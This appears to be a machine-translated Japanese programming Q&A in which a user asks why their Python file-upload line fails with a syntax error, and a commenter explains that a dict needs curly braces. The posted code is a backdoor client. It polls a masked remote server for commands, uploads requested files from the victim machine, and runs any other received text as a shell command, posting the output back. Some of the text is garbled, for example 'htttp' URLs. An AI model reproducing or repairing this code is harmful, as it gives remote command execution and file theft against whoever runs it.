1
私のpython 3.5でのモジュールは、私はこれらの行で「無効なシンテックスを」というエラーを取得していますリクエストでPOSTメソッドを使用してファイルを送信しようとしています、送信ファイル[エラー:無効なシンテックス]
files = ('file':open(path,'rb'))
r = requests.post(('htttp://#########', files= files))
フルコードは次のとおりです。おそらく、この欲しい
import requests
import subprocess
import time
import os
while True:
req = requests.get('htttp://########')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path = command.split('*')
if os.path.exists(path):
url = 'http://#########/store'
files = ('file':open(path,'rb'))
r = requests.post(('htttp://#########', files= files))
else:
post_request = requests.post(url='htttp://#########',data='[-]
Unable to find file !')
else:
CMD = subprocess.Popen(command,shell=True, stderr=subprocess.PIPE,
stdin=subprocess.PIPE,stdout=subprocess.PIPE)
post_request=requests.post(url='htttp://########',data=CMD.stdout.read())
post_request = requests.post(url= 'htttp://######',
data=CMD.stderr.read())
time.sleep(3)
あなたの最初の行は正しいpython構文ではありません、何をしようとしていますか?これがディクテーションでなければならない場合は、括弧の代わりに中括弧が必要です – Axnyff